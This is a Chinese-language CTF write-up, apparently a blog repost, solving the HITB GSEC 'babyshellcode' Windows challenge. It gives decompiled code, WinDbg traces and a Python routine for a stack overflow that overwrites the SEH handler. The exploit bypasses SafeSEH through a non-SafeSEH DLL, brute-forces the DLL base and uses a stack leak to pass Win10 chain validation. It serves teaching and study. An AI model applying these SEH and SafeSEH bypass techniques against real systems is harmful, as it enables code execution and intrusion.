close

前言

這次在HITB GSEC CTF打醬油,也有了一次學習的機會,這次CTF出現了兩道Windows pwn,我個人感覺質量非常高,因為題目出了本身無腦洞的漏洞之外,更多的讓選手們專注於對Windows系統的防護機制(seh)原理的研究,再配合漏洞來完成對機制的突破和利用,在我做完之後重新整理整個解題過程,略微有一些窒息的感覺,感覺整個利用鏈環環相扣,十分精彩,不得不膜一下Atum大佬,題目出的真的好!對於菜鳥來說,是一次非常好的鍛煉機會。

因此我認真總結了我們從拿到題目,多種嘗試,不斷改進exp,到最後獲得shell的整個過程,而不僅僅是針對題目,希望能對同樣奮鬥在win pwn的小夥伴有一些幫助。

Babyshellcode Writeup with SEH and SafeSEH From Windows xp to Windows 10

拿到題目的時候,我們發現程序存在一個很明顯的棧溢出,而且題目給的一些條件非常好,在棧結構中存在SEH鏈,在常規的利用SEH鏈進行棧溢出從而控制eip的過程中,我們會使用棧溢出覆蓋seh handler,這是一個seh chain中的一個指針,它指向了異常處理函數。

但是程序中開啟了safeseh,也就是說,單純的通過覆蓋seh handler跳轉是不夠的,我們首先需要bypass safeseh。

OK,我們來看題目。

在題目主函數中,首先在scmgr.dll中會初始化存放shellcode的堆,調用的是VirtualAlloc函數,並且會打印堆地址。

v0=VirtualAlloc(0,20*SystemInfo.dwPageSize,0x1000u,0x40u);//注意這裡的flprotect是0x40dword_1000338C=(int)v0;if(v0){sub_10001020("Globalmemoryallocat%pn",(char)v0);//打印堆地址result=dword_1000338C;dword_10003388=dword_1000338C;}

這裡VirtualAlloc中有一個參數是flprotect,值是0x40,表示擁有RWE權限。

#definePAGE_EXECUTE_READWRITE0x40

這個堆地址會用於存放shellcode,在CreateShellcode函數中會將shellcode拷貝到Memory空間裡。

v4=0;//v4在最開始拷貝的時候值是0⋯⋯v11=(int)*(&Memory+v4);//將Memory地址指針交給v11v13=getchar();v14=0;if(v12){do{*(_BYTE*)(v14+++v15)=v13;//為Memory賦值v13=getchar();}while(v14!=v12);v4=v16;}

執行結束之後可以看到shellcode已經被拷貝到目標空間中。

隨後執行runshellcode指令的時候,會調用「虛函數」,這裡用引號表示,其實並不是真正的虛函數,只是虛函數的一種常見調用方法(做了CFG check,這裡有個小插曲),實際上調用的是VirtualAlloc出來的堆的地址。

v4=*(void(**)(void))(v1+4);__guard_check_icall_fptr(*(_DWORD*)(v1+4));v4();

可以看到這裡有個CFG check,之前我們一直以為環境是Win7,在Win7里CFG沒有實裝,這個在我之前的一篇IE11瀏覽器漏洞的文章中也提到過(https://whereisk0shl.top/cve_2017_0037_ie11&edge_type_confusion.html),因此這個Check是沒用的,但是後來得知系統是Win10(這個後面會提到),這裡會檢查指針是否合法,這裡無論如何都會合法,因為v1+4位置的值控制不了,這裡就是指向堆地址。

這裡跳轉到堆地址後會由於shellcode頭部4字節被修改,導致進入堆地址後是無效的匯編指令。

byte_405448=1;puts("Hey,Welcometoshellcodetestsystem!");if(byte_405448){v3=*(_DWORD**)(v1+4);memcpy(&Dst,*(constvoid**)(v1+4),*(_DWORD*)(v1+8));//這裡沒有對長度進行控制,造成棧溢出*v3=-1;}

byte_405448是一個全局變量is_guard,它在runshellcode里決定了存放shellcode堆指針指向的shellcode前4字節是否改成0xffffffff,這裡byte_405448的值是1,因此頭部會被修改,而我們也必須進入這裡,只有這裡才能造成棧溢出。

0:000>gBreakpoint1hiteax=002bf7a4ebx=00000000ecx=00000000edx=68bc1100esi=000e0000edi=0048e430eip=00a113f3esp=002bf794ebp=002bf824iopl=0nvupeiplnzacponccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000212babyshellcode+0x13f3:00a113f3c706ffffffffmovdwordptr[esi],0FFFFFFFFhds:0023:000e0000=61616161//shellcode頭部被修改前正常0:000>dde0000l1000e0000616161610:000>peax=002bf7a4ebx=00000000ecx=00000000edx=68bc1100esi=000e0000edi=0048e430eip=00a113f9esp=002bf794ebp=002bf824iopl=0nvupeiplnzacponccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000212babyshellcode+0x13f9:00a113f98b7704movesi,dwordptr[edi+4]ds:0023:0048e434=000e00000:000>dde0000l1//頭部被修改成0xffffffff000e0000ffffffff

隨後我們跳轉到頭部執行,由於指令異常進入異常處理模塊。

0:000>peax=002bf7a4ebx=00000000ecx=000e0000edx=68bc1100esi=000e0000edi=0048e430eip=00a11404esp=002bf794ebp=002bf824iopl=0nvupeiplnzacponccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000212babyshellcode+0x1404:00a11404ffd6callesi{000e0000}//跳轉到堆0:000>teax=002bf7a4ebx=00000000ecx=000e0000edx=68bc1100esi=000e0000edi=0048e430eip=000e0000esp=002bf790ebp=002bf824iopl=0nvupeiplnzacponccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000212000e0000ff???//異常指令0:000>p//進入異常處理模塊(20f90.20f9c):Illegalinstruction-codec000001d(firstchance)eax=002bf7a4ebx=00000000ecx=000e0000edx=68bc1100esi=000e0000edi=0048e430eip=770b6bc9esp=002bf340ebp=002bf824iopl=0nvupeiplnzacponccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000212ntdll!KiUserExceptionDispatcher+0x1:770b6bc98b4c2404movecx,dwordptr[esp+4]ss:0023:002bf344=002bf35c

利用SEH是棧溢出里常見的一種利用方法,在沒有SafeSEH和SEHOP的情況下,可以利用seh里一個特殊的結構seh handler,通過覆蓋它來完成eip/rip的控制,它指向的是異常處理函數,而加入了safeseh之後,會對sehhandler進行check,檢查它是否可信,不可信的話返回0,則不會跳轉到seh handler。而這個safeseh的check在ntdll的RtlIsValidHandler函數中,幾年前Alex就發了關於這個函數的解讀,現在偽代碼遍地都是了。

BOOLRtlIsValidHandler(handler){if(handlerisinanimage)//step1{//在加載模塊的進程空間if(imagehastheIMAGE_DLLCHARACTERISTICS_NO_SEHflagset)returnFALSE;//該標誌設置,忽略異常處理,直接返回FALSEif(imagehasaSafeSEHtable)//是否含有SEH表if(handlerfoundinthetable)returnTRUE;//異常處理handle在表中,返回TRUEelsereturnFALSE;//異常處理handle不在表中,返回FALSEif(imageisa.NETassemblywiththeILonlyflagset)returnFALSE;//.NET返回FALSE//fallthrough}if(handlerisonanon-executablepage)//step2{//handle在不可執行頁上面if(ExecuteDispatchEnablebitsetintheprocessflags)returnTRUE;// DEP關閉,返回TRUE;否則拋出異常elseraiseACCESS_VIOLATION;//enforceDEPevenifwehavenohardwareNX}if(handlerisnotinanimage)//step3{//在加載模塊內存之外,並且是可執行頁if(ImageDispatchEnablebitsetintheprocessflags)returnTRUE;//允許在加載模塊內存空間外執行,返回驗證成功elsereturnFALSE;//don'tallowhandlersoutsideofimages}//everythingelseisallowedreturnTRUE;}

首先我們想到的是利用堆指針來bypass safeseh,正好這個堆地址指向的shellcode,但是由於頭部四字節唄修改成了0xffffffff,因此我們只需要覆蓋seh handler為heap address+4,然後把shellcode跳過開頭4字節編碼,頭4字節放任意字符串(反正會被編碼成0xffffffff),然後後面放shellcode的內容,應該就可以達到利用了(事實證明我too young too naive了,這個方法在win xp下可以用。)

於是我們想到的棧布局如下:

但我們這樣執行後,在windows xp下可以完成,但是win7下依然crash了,這就需要我們跟進ntdll!RtlIsValidHandler函數,回頭看下偽代碼部分。

這裡有三步check,首先step1,if是不通過的因為堆地址屬於加載進程外的地址,同理step2也是不通過的,因為堆地址申請的時候是可執行的,之所以用堆繞過SafeSEH是因為堆地址屬於當前進程加載內存映像空間之外的地址。

0:000>!addresse0000Usage:<unclassified>AllocationBase:000e0000BaseAddress:000e0000EndAddress:000f4000RegionSize:00014000Type:00020000MEM_PRIVATEState:00001000MEM_COMMITProtect:00000040PAGE_EXECUTE_READWRITE

那麼safeseh進入step 3,又是加載模塊內存之外的,又是可執行的,在winxp,通過堆繞過是可行的,但是在Win7及以上版本就不行了,為什麼呢,因為這裡多了一個Check,內容是MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE,它決定了是否允許在加載模塊內存空間外執行。

這裡只有當第六個比特為1時,才是可執行的

這裡值是0x4d,也就是1001101,第六個比特是0,也就是MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE是不允許的,因此會return FALSE。

0:000>peax=00000000ebx=000e0000ecx=002bf254edx=770b6c74esi=002bf348edi=00000000eip=77100224esp=002bf274ebp=002bf2b0iopl=0nvupeingnznapecycs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000287ntdll!RtlIsValidHandler+0xff:771002248a450cmoval,byteptr[ebp+0Ch]ss:0023:002bf2bc=4d0:000>peax=00000000ebx=002bf814ecx=736f4037edx=770b6c74esi=002bf348edi=00000000eip=7708f88desp=002bf2b4ebp=002bf330iopl=0nvupeiplzrnapenccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246ntdll!RtlIsValidHandler+0xfc:7708f88dc20800ret80:000>peax=00000000ebx=002bf814ecx=736f4037edx=770b6c74esi=002bf348edi=00000000eip=7708f9feesp=002bf2c0ebp=002bf330iopl=0nvupeiplzrnapenccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246ntdll!RtlDispatchException+0x10e:7708f9fe84c0testal,al0:000>ralal=0

通過堆繞過的方法失敗了,我們又找到了其他方法,就是通過未開啟safeseh的dll的方法來繞過safeseh,這裡我們找到了scmgr.dll,它是一個未開啟safeseh的模塊,這個可以直接通過od的OllySSEH功能看到SafeSEH的開啟狀態。

這裡我們只需要把seh handler指向scmgr.dll就可以了,而且我們在scmgr.dll里發現,其實system('cmd')已經在裡面了,只需要跳轉過去就可以了。

.text:10001100publicgetshell_test.text:10001100getshell_testprocnear;DATAXREF:.rdata:off_10002518o.text:10001100pushoffsetCommand;"cmd".text:10001105callds:system.text:1000110B;3:return0;.text:1000110Baddesp,4.text:1000110Exoreax,eax.text:10001110retn.text:10001110getshell_testendp

但是這裡有一個問題,就是scmgr.dll的基址是多少,這裡我們想了兩種方法來獲得基址,一個是爆破,因為我們發現scmgr.dll在每次進程重啟的時候基址都不變,因此我們只需要在0x60000000-0x8000000之間爆破就可以,0x8000000之上是內核空間的地址了,因此只需要爆破這個範圍即可。(由於剛開始以為是win7,所以爆破的時候有一點沒有考慮到,導致目標總是crash,我們也找不到原因,本地測試是完全沒問題的,後面會提到)。

還有一種方法是我們看到了set shellcodeguard函數,這個就是我們之前提到對is_guard那個全局變量設置的函數,但實際上,這個也沒法把這個值置0,畢竟置0之後直接就能擼shellcode了,但我們關注到Disable Shellcode Guard中一個有趣的加密。

puts("1.DisableShellcodeGuard");puts("2.EnableShellcodeGuard");⋯⋯if(v2==1)//加密在這裡{v3=((int(*)(void))sub_4017F0)();v4=sub_4017F0(v3);v5=sub_4017F0(v4);v6=sub_4017F0(v5);v7=sub_4017F0(v6);v8=sub_4017F0(v7);sub_4017C0("Yourchallengecodeis%x-%x-%x-%x-%x-%xn",v8);puts("challengeresponse:");v9=0;v10=getchar();do{if(v10==10)break;++v9;v10=getchar();}while(v9!=20);puts("resposewrong!");}else//當v2為0的時候是EnableShellcodeGuard,全局變量置1{if(v2==2){byte_405448=1;return0;}puts("wrongoption");}

這個加密其實很複雜的。

後來官方也給出了hint,Hint for babyshellcode: The algorithm is neither irreversible nor z3-solvable.告訴大家這個加密算法不可逆,別想了!

先我們來看一下這個加密算法加密的什麼玩意,我們跟入這個算法。

0:000>peax=ae7e77d0ebx=0000001fecx=0cd4ae6bedx=00000000esi=00ae7e77edi=354eaad0eip=00a11818esp=0016fcd8ebp=0016fd08iopl=0ovupeiplnznapecycs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000a07babyshellcode+0x1818:***WARNING:UnabletoverifychecksumforC:Userssh1Desktopscmgr.dll***ERROR:Symbolfilecouldnotbefound.DefaultedtoexportsymbolsforC:Userssh1Desktopscmgr.dll-00a118183334955054a100xoresi,dwordptrbabyshellcode+0x5450(00a15450)[edx*4]ds:0023:00a15450={scmgr!init_scmgr(67bc1090)}

發現在算法初始化的時候,加密的是scmgr!init_scmgr的地址,也就是67bc1090,這個就厲害了,既然不可逆,我們把這個算法dump出來正向爆破去算,如果結果等於最後加密的結果,那就是碰到基址了,這樣一是不用頻繁和服務器交互,二是及時dll每次進程重啟基址都改變,也能直接通過這種方法不令進程崩潰也能獲得到基址。

defgen_cha_code(base):init_scmgr=base*0x10000+0x1090value=init_scmgrg_table=[value]foriinrange(31):value=(value*69069)&0xffffffffg_table.append(value)g_index=0v0=(g_index-1)&0x1fv2=g_table[(g_index+3)&0x1f]^g_table[g_index]^(g_table[(g_index+3)&0x1f]>>8)v1=g_table[v0]v3=g_table[(g_index+10)&0x1F]v4=g_table[(g_index-8)&0x1F]^v3^((v3^(32*g_table[(g_index-8)&0x1F]))<<14)v4=v4&0xffffffffg_table[g_index]=v2^v4g_table[v0]=(v1^v2^v4^((v2^(16*(v1^4*v4)))<<7))&0xffffffffg_index=(g_index-1)&0x1Freturng_table[g_index]

這樣,獲取到基址之後,我們就能夠構造seh handler了,直接令seh handler指向getshell_test就直接能獲得和目標的shell交互了。通過棧溢出覆蓋seh chain。

0:000>!exchain0016fcf8:scmgr!getshell_test+0(67bc1100)Invalidexceptionstackat0d16fd74

進入safeseh,由於在nosafeseh空間,返回true,該地址可信。

0:000>peax=72b61100ebx=0023f99cecx=0023f424edx=770b6c74esi=0023f4c8edi=00000000eip=7708f9f9esp=0023f438ebp=0023f4b0iopl=0nvupeiplnznapenccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206ntdll!RtlDispatchException+0x109:7708f9f9e815feffffcallntdll!RtlIsValidHandler(7708f813)0:000>peax=0023f401ebx=0023f99cecx=73a791c6edx=00000000esi=0023f4c8edi=00000000eip=7708f9feesp=0023f440ebp=0023f4b0iopl=0nvupeiplzrnapenccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246ntdll!RtlDispatchException+0x10e:7708f9fe84c0testal,al0:000>ralal=1

進入call seh handler,跳轉到getshell_test。

0:000>peax=00000000ebx=00000000ecx=73a791c6edx=770b6d8desi=00000000edi=00000000eip=770b6d74esp=0023f3e4ebp=0023f400iopl=0nvupeiplzrnapenccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246ntdll!ExecuteHandler2+0x21:770b6d748b4d18movecx,dwordptr[ebp+18h]ss:0023:0023f418={scmgr!getshell_test(72b61100)}0:000>peax=00000000ebx=00000000ecx=72b61100edx=770b6d8desi=00000000edi=00000000eip=770b6d77esp=0023f3e4ebp=0023f400iopl=0nvupeiplzrnapenccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246ntdll!ExecuteHandler2+0x24:770b6d77ffd1callecx{scmgr!getshell_test(72b61100)}0:000>teax=00000000ebx=00000000ecx=72b61100edx=770b6d8desi=00000000edi=00000000eip=72b61100esp=0023f3e0ebp=0023f400iopl=0nvupeiplzrnapenccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246scmgr!getshell_test:72b6110068f420b672pushoffsetscmgr!getshell_test+0xff4(72b620f4)

到這裡利用就完整了嗎?我們在win7下沒問題了,但是在目標卻一直crash掉,實在是搞不明白,後來才知道,我們用錯了環境!原來目標是Win10…

Win10的SafeSEH和Win7又有所區別,這裡要提到SEH的兩個域,一個是prev域和handler域,prev域會存放一個指向下一個seh chain的棧地址,handler域就是存放的seh handler,而Win10裡面多了一個Check函數ntdll!RtlpIsValidExceptionChain,這個函數會去獲得當前seh chain的prev域的值。

0:000>p//這裡我們覆蓋prev為0x61616161eax=030fd000ebx=03100000ecx=030ff7acedx=6fdd1100esi=030ff278edi=030fd000eip=7771ea79esp=030ff1bcebp=030ff1c8iopl=0nvupeiplnznapenccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00000206ntdll!RtlpIsValidExceptionChain+0x2b:7771ea798b31movesi,dwordptr[ecx]ds:002b:030ff7ac=616161610:000>peax=030fd000ebx=03100000ecx=030ff7acedx=6fdd1100esi=61616161edi=030fd000eip=7771ea7besp=030ff1bcebp=030ff1c8iopl=0nvupeiplnznapenccs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00000206ntdll!RtlpIsValidExceptionChain+0x2d:7771ea7b83feffcmpesi,0FFFFFFFFh0:000>peax=030fd000ebx=03100000ecx=030ff7acedx=6fdd1100esi=61616161edi=030fd000eip=7771ea7eesp=030ff1bcebp=030ff1c8iopl=0nvupeiplnzacpocycs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00000213ntdll!RtlpIsValidExceptionChain+0x30:7771ea7e740fjentdll!RtlpIsValidExceptionChain+0x41(7771ea8f)[br=0]

隨後,會去和seh表里存放的prev域的值進行比較。

0:000>peax=030ff7b4ebx=03100000ecx=61616161edx=6fdd1100esi=61616161edi=030fd000eip=7771ea8aesp=030ff1bcebp=030ff1c8iopl=0nvupeiplnzacpocycs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00000213ntdll!RtlpIsValidExceptionChain+0x3c:7771ea8a8d53f8leaedx,[ebx-8]0:000>peax=030ff7b4ebx=03100000ecx=61616161edx=030ffff8esi=61616161edi=030fd000eip=7771ea8desp=030ff1bcebp=030ff1c8iopl=0nvupeiplnzacpocycs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00000213ntdll!RtlpIsValidExceptionChain+0x3f:7771ea8debd6jmpntdll!RtlpIsValidExceptionChain+0x17(7771ea65)0:000>peax=030ff7b4ebx=03100000ecx=61616161edx=030ffff8esi=61616161edi=030fd000eip=7771ea65esp=030ff1bcebp=030ff1c8iopl=0nvupeiplnzacpocycs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00000213ntdll!RtlpIsValidExceptionChain+0x17:7771ea653bc1cmpeax,ecx//ecx寄存器存放的是棧里被覆蓋的,eax存放的是正常的pointertonextchain

可以看到這裡檢測是不通過的,因此造成了crash,所以,我們需要對seh chain進行fix,把pointer to next chain修改成下一個seh chain的棧地址,這就需要我們獲取當前的棧地址,棧地址是自動動態申請和回收的,和堆不一樣,因此每次棧地址都會發生變化,我們需要一個stack info leak。

於是我們在程序中找到了這樣一個stack info leak的漏洞,開頭有個stack info leak,在最開始的位置。

v1=getchar();do{if(v1==10)break;*((_BYTE*)&v5+v0++)=v1;v1=getchar();}while(v0!=300);sub_4017C0("hello%sn",&v5);

0:000>g//一字節一字節寫入,esi是計數器,ebp-18h是指向拷貝目標的指針Breakpoint0hiteax=00000061ebx=7ffde000ecx=574552e0edx=00000061esi=00000000edi=005488a8eip=000a16a4esp=0036f90cebp=0036f938iopl=0nvupeiplnzacponccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000212babyshellcode+0x16a4:000a16a4884435e8movbyteptr[ebp+esi-18h],alss:0023:0036f920=000:000>peax=00000061ebx=7ffde000ecx=574552e0edx=00000061esi=00000000edi=005488a8eip=000a16a8esp=0036f90cebp=0036f938iopl=0nvupeiplnzacponccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000212babyshellcode+0x16a8:000a16a846incesi0:000>p//獲取下一字節eax=00000061ebx=7ffde000ecx=574552e0edx=00000061esi=00000001edi=005488a8eip=000a16a9esp=0036f90cebp=0036f938iopl=0nvupeiplnznaponccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202babyshellcode+0x16a9:***ERROR:Symbolfilecouldnotbefound.DefaultedtoexportsymbolsforC:Userssh1Desktopucrtbase.DLL-000a16a9ff15e4300a00calldwordptr[babyshellcode+0x30e4(000a30e4)]ds:0023:000a30e4={ucrtbase!getchar(5740b260)}0:000>p//判斷長度eax=00000061ebx=7ffde000ecx=574552e0edx=574552e0esi=00000001edi=005488a8eip=000a16afesp=0036f90cebp=0036f938iopl=0nvupeiplzrnapenccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246babyshellcode+0x16af:000a16af81fe2c010000cmpesi,12Ch0:000>peax=00000061ebx=7ffde000ecx=574552e0edx=574552e0esi=00000001edi=005488a8eip=000a16b5esp=0036f90cebp=0036f938iopl=0nvupeingnzacpocycs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000293babyshellcode+0x16b5:000a16b575e9jnebabyshellcode+0x16a0(000a16a0)[br=1]0:000>p//判斷是否是回車eax=00000061ebx=7ffde000ecx=574552e0edx=574552e0esi=00000001edi=005488a8eip=000a16a0esp=0036f90cebp=0036f938iopl=0nvupeingnzacpocycs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000293babyshellcode+0x16a0:000a16a03c0acmpal,0Ah0:000>peax=00000061ebx=7ffde000ecx=574552e0edx=574552e0esi=00000001edi=005488a8eip=000a16a2esp=0036f90cebp=0036f938iopl=0nvupeiplnzacponccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000212babyshellcode+0x16a2:000a16a27413jebabyshellcode+0x16b7(000a16b7)[br=0]0:000>p//繼續寫入Breakpoint0hiteax=00000061ebx=7ffde000ecx=574552e0edx=574552e0esi=00000001edi=005488a8eip=000a16a4esp=0036f90cebp=0036f938iopl=0nvupeiplnzacponccs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000212babyshellcode+0x16a4:000a16a4884435e8movbyteptr[ebp+esi-18h],alss:0023:0036f921=00

這裡判斷的長度是0x12C,也就是300,但實際上拷貝目標ebp-18很短,而esi會不斷增加,而沒有做控制,最關鍵的是這個過程。

.text:004016A4;20:*((_BYTE*)&v5+v0++)=v1;.text:004016A4movbyteptr[ebp+esi+var_18],al.text:004016A8;21:v1=getchar();.text:004016A8 inc esi//key!!.text:004016A9callds:getchar.text:004016AF;23:while(v0!=300);.text:004016AFcmpesi,12Ch

這裡是在賦值結束之後,才將esi自加1,然後才去做長度判斷,然後再跳轉去做是否回車的判斷,如果回車則退出,也就是說,這裡會多造成4字節的內存泄漏,我們來看一下賦值過程中的內存情況。

0:000>ddebp-18l70036f920000000610000000000000000000000000036f930000000001ea6b8ab0036f980

可以看到,在0036f920地址偏移+0x18的位置存放着一個棧地址,也就是說,如果我們讓name的長度覆蓋到0036f938位置的時候,多泄露的4字節是一個棧地址,這樣我們就可以用來fix seh stack了。

有了這個內存泄漏,我們就可以重新構造棧布局了,棧布局如下:

這樣,結合之前我們的整個利用過程,完成整個利用鏈,最後完成shell交互。


- 結尾 -
精彩推薦
【技術分享】二十年重回首——CIH病毒源碼分析
【技術分享】針對KingSqlZ組織一次攻擊的分析報告
【技術分享】HCTF逆向題目詳析

戳「閱讀原文」查看更多內容
arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()